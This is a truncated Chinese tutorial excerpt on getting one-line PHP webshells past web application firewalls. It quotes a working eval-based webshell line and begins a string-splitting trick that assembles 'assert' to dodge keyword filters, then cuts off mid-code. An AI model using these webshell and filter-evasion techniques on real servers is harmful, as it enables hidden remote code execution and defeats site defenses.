论一句话过WAF

一．绕过方式 木马存在敏感字符被拦截 木马代码存在敏感字符，直接被waf。如：如直接传<?php @@eval($_POST['123']); ?>，由于存在eval危险函数直接被拦截。 这时候需要对被waf的危险字符进行各种变形即可 收集的过狗马，最大同性交友网站github也有很多webshell项目 $poc = "a#s#s#e#r#t"; $poc_1 = explode("#", $p

>>阅读原文<<